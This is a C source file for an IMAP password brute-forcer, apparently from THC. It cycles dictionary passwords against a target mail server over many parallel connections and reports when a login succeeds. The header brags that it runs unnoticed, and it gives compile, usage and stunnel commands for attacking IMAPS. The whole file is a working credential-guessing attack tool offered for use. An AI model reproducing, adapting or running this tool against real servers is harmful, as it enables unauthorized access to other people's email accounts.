/*
 * IMAP bruter. Coded this in a hurry. hydra was to slow (and sucked 100% cpu).
 * I had this one running with 30 passwords / second (100 parallel connections)
 * against a single server and it did not even appear in top.
 *
 * Visit us -- your enemies already did.
 * http://www.thc.org - THE HACKERS CHOICE
 *
 * gcc -Wall -O2 -g -o imap_bruter imap_bruter.c
 *
 * SSL support for dummies:
 * stunnel -c -d 127.0.0.1:9993 -f -r imap.theirdomain.com:993
 *
 * Example: (Brute 40 in parallel)
 * ./imap_bruter -r 1.2.3.4 -l carol -n 60 <dictionary.txt
 */
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <time.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>

struct peer_str
{
  char password[64];
  char buf[256];
  int sox;
  int read;
  char flags;
  time_t time;
};

#define FL_CONNECTED    (0x01)
#define FL_HEADERREAD    (0x02)

#define ERREXIT(a...)  do { \
  fprintf(stderr, "%s:%d ", __func__, __LINE__); \
  fprintf(stderr, a); \
  exit(-1); \
} while (0)

static char g_flags;
#define FL_FINISHED    (0x04) /* wordlist finished */
static unsigned short g_port;
static unsigned int g_ip;
static char *g_login;
static unsigned int g_parallel;
time_t time_now;
static fd_set g_rfds, g_wfds;
static unsigned int cracks;
static char *g_passwd;
static int n_peers;

struct peer_str peers[1024];
  
static unsigned int
hostname(char *host)
{
  struct hostent *he;
  int ip;

  if ( (ip = inet_addr(host)) != -1)
    return ip;
  if ( (he = gethostbyname(host)) == NULL)
    return -1;

  if (he->h_length != 4)
    return -1;
  return *(int *)he->h_addr;
}

int tcp_socket_connect(unsigned int ip, unsigned short port)
{
  int fd;
  struct sockaddr_in addr;
  int i;

  if ((fd = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0)
    return -1;

  memset(&addr, 0, sizeof addr);
  addr.sin_family = PF_INET;
  addr.sin_addr.s_addr = ip;
  addr.sin_port = port;

  if (connect(fd, (struct sockaddr *)&addr, sizeof addr) != 0)
  {
    close(fd);
    return -1;
  }
  i = i;
  setsockopt(fd, SOL_SOCKET, SO_KEEPALIVE, &i, sizeof i);
  fcntl(fd, F_SETFL, fcntl(fd, F_GETFL, 0) | O_NONBLOCK);

  return fd;
}

static void
usage(void)
{
  fprintf(stderr, ""
"imap-bruter [rlpn]\n"
"Options:\n"
"  -r <ip address> - Server imapd runs on. [default: 127.0.0.1]\n"
"  -p <port>       - Port imapd runs on. [default: 143]\n"
"  -l <login name> - Login name\n"
"  -n <parallel>   - Number of parallel connections.\n"
"Passwords are read from stdin. Stunnel can be used if IMAPS is in place.\n"
"");
  exit(0);
}

static void
do_getopt(int argc, char *argv[])
{
  int c;

  g_port = 143;
  g_parallel = 5;

  while ((c = getopt(argc, argv, "r:l:p:n:")) != -1)
  {
    switch (c)
    {
    case 'r':
      g_ip = hostname(optarg);
      break;
    case 'l':
      g_login = strdup(optarg);
      break;
    case 'p':
      g_port = atoi(optarg);
      break;
    case 'n':
      g_parallel = atoi(optarg);
      break;
    default:
      usage();
      break;
    }
  }

  if (g_ip == -1)
  {
    fprintf(stderr, "Unknown host!\n");
    usage();
  }
  if (!g_login)
    usage();
  if (g_parallel <= 0)
    usage();
}

static void
peer_clear(struct peer_str *p)
{
  if (p->sox >= 0)
    close(p->sox);
  p->sox = -1;
  p->read = 0;
  p->flags = 0;
  /* Keep 'password' as it has not yet been processed */
  n_peers--;
}

static int
do_readpwd(struct peer_str *p)
{
  char *ptr;

  if (g_flags & FL_FINISHED)
    return -1;
  cracks++;
  memset(p->password, 0, sizeof p->password);
  if (fgets(p->password, sizeof p->password - 1, stdin) == NULL)
    return -1;

  g_passwd = p->password;
  ptr = strchr(p->password, '\n');
  if (ptr)
    *ptr = '\0';

  return 0;
}

/*
 * Socket ready for reading. Read line.
 */
void
do_read(struct peer_str *p)
{
  ssize_t n;
  char *ptr;
  char buf[1024];

  n = read(p->sox, p->buf + p->read, sizeof p->buf - p->read - 1);
  if (n <= 0)
    goto err;
  p->read += n;

  if (p->read + 1 >= sizeof p->buf)
    goto err;
  p->buf[p->read] = '\0';
  ptr = strchr(p->buf, '\n');
  if (!ptr)
    return;
  p->time = time_now;
  if (p->flags & FL_HEADERREAD)
  {
    if (strstr(p->buf, " NO") == NULL)
    {
      printf("FOUND '%s'\n", p->password);
      exit(0);
    }
    if (do_readpwd(p) != 0)
    {
      g_flags |= FL_FINISHED;
      goto err;
    }
  } else {
    p->flags |= FL_HEADERREAD;
    if (p->password[0] == '\0')
    {
      if (do_readpwd(p) != 0)
      {
        g_flags |= FL_FINISHED;
        goto err;
      }
    }
  }

  snprintf(buf, sizeof buf, "1 login \"%.100s\" \"%.100s\"\r\n", g_login, p->password);
  n = strlen(buf);
  if (write(p->sox, buf, n) != n)
  {
    /* Write should not fail. Linux kernel always has 1024 write
     * buffer for us.
     */
     goto err;
  }

  return;
err:
  peer_clear(p);
}

static void
peer_init(struct peer_str *p)
{
  p->sox = -1;
  p->read = 0;
}

int
main(int argc, char *argv[])
{
  struct timeval tv;
  int conn;
  int maxfd;
  struct peer_str *p;
  int i, n;
  int ret;
  socklen_t len;
  time_t time_last, time_start;
  unsigned int hours, min, sec;
  unsigned int old_cracks = 0;
  double cs;

  g_passwd = "<waiting...>";
  do_getopt(argc, argv);
  time_now = time(NULL);
  time_start = time_now;
  time_last = time_now;
  printf("Bruting '%s' with %d in parallel\n", g_login, g_parallel);
  for (i = 0; i < g_parallel; i++)
    peer_init(&peers[i]);

  while (1)
  {
    tv.tv_sec = 1;
    tv.tv_usec = 0;
    FD_ZERO(&g_rfds);
    FD_ZERO(&g_wfds);
    conn = 0;
    maxfd = 0;
    for (i = 0; i < g_parallel; i++)
    {
      if (peers[i].sox >= 0)
      {
        if (peers[i].flags & FL_CONNECTED)
          FD_SET(peers[i].sox, &g_rfds);
        else
          FD_SET(peers[i].sox, &g_wfds);
      } else if ((conn < 5) && (!(g_flags & FL_FINISHED))) {
        peers[i].time = time_now;
        peers[i].sox = tcp_socket_connect(g_ip, htons(g_port));
        if (peers[i].sox >= 0)
          FD_SET(peers[i].sox, &g_wfds);
        conn++;
      }
      if (peers[i].sox > maxfd)
        maxfd = peers[i].sox;
    }
    if (maxfd == 0)
    {
      fprintf(stderr, "Finished %u cracks after %lu sec.\n", cracks, time_now - time_start);
      exit(0);
    }
    n = select(maxfd + 1, &g_rfds, &g_wfds, NULL, &tv);
    time_now = time(NULL);
    if ((time_last < time_now) && (old_cracks != cracks))
    {
      sec = time_now - time_start;
      hours = sec / 3600;
      min = (sec - hours * 3600) / 60;
      sec = sec % 60;
      cs = ((float)cracks) / ((float)(time_now - time_start));
      fprintf(stderr, "[%u:%02u:%02u] total: %d with %d peers: '%s' (%1.03f c/s)\n", hours, min, sec, cracks, n_peers, g_passwd, cs);
      time_last = time_now;
      old_cracks = cracks;
    }

    for (i = 0; i < g_parallel; i++)
    {
      p = &peers[i];
      if (p->sox < 0)
        continue;

      if (p->time + 30 < time_now)
      {
        fprintf(stderr, "TIMEOUT on socket...\n");
        peer_clear(p);
        continue;
      }

      if (FD_ISSET(p->sox, &g_wfds))
      {
        len = sizeof ret;
        ret = 0;
        if ((getsockopt(p->sox, SOL_SOCKET, SO_ERROR, &ret, &len) != 0) || (ret != 0))
          peer_clear(p);
        else {
          p->flags |= FL_CONNECTED;
          n_peers++;
        }

      } else if (FD_ISSET(p->sox, &g_rfds)) {
        do_read(p);
      }
    } /* for through all peers.. */
  }
}